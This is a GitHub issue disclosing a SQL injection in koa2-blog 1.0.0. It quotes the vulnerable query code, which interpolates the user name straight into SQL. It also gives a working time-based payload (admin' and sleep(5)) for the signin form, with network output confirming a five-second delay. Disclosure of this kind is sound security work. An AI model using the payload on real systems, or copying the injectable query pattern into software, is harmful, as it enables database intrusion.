

New issue

Jump to bottom

koa2-blog v1.0.0 sql injection vulnerability #40

Closed jiguangsdf opened this issue on Nov 28, 2019 · 0 comments

jiguangsdf commented on Nov 28, 2019 • edited

A sql injection was discovered in koa2-blog 1.0.0 .There is a sql injection vulnerability which allows remote attackers to injecting a malicious SQL statement into a server via:
post http://127.0.0.1:3000/signin

Vulnerability code

```
// 通过名字查找用户
exports.findDataByName = ( name ) => {
  let _sql = `select * from users where name=${name}`;
  return query( _sql )
}
```

POC

Trigger SQL injection vulnerability by signin,we can see that the injected statement executed successfully and the page response timed out for 5S

127.0.0.1:3000/signin

GitHub 全部文章 注册 登录

欢迎注册登录^_^

用户名:

密码:

登录

查看器 控制台 调试器 样式编辑器 性能 内存 网络 存储 代码草稿纸 DOM 无障碍环境 Hackbar

过滤 URL

状态	方法	域名	文件	触发源	类型	传输	大小	耗时	消息头	Cookie	参数	响应	耗时	堆栈跟踪
200	GET	127.0.0.1:3000	signin	document	html	2.69 KB	2.55 KB	7 毫秒						
304	GET	127.0.0.1:3000	index.css	stylesheet	css	已缓存	5.68 KB	1 毫秒						
200	GET	unpkg.com	jquery.min.js	script	js	已缓存	0 字节							
200	GET	www.wclimb.com	avatar.png	img	png	已缓存	69.68 KB							
200	POST	127.0.0.1:3000	signin	xhr	json	196 字节	49 字节	5 毫秒						
200	POST	127.0.0.1:3000	signin	xhr	json	196 字节	49 字节	5007 毫秒						

过滤请求参数
表单数据
name: admin'+and+sleep(5)+and+'1'
password: admin

wclimb closed this as completed on Nov 30, 2019

Assignees

No one assigned

Labels

None yet

Projects

None yet

Milestone

No milestone

Development

No branches or pull requests

2 participants

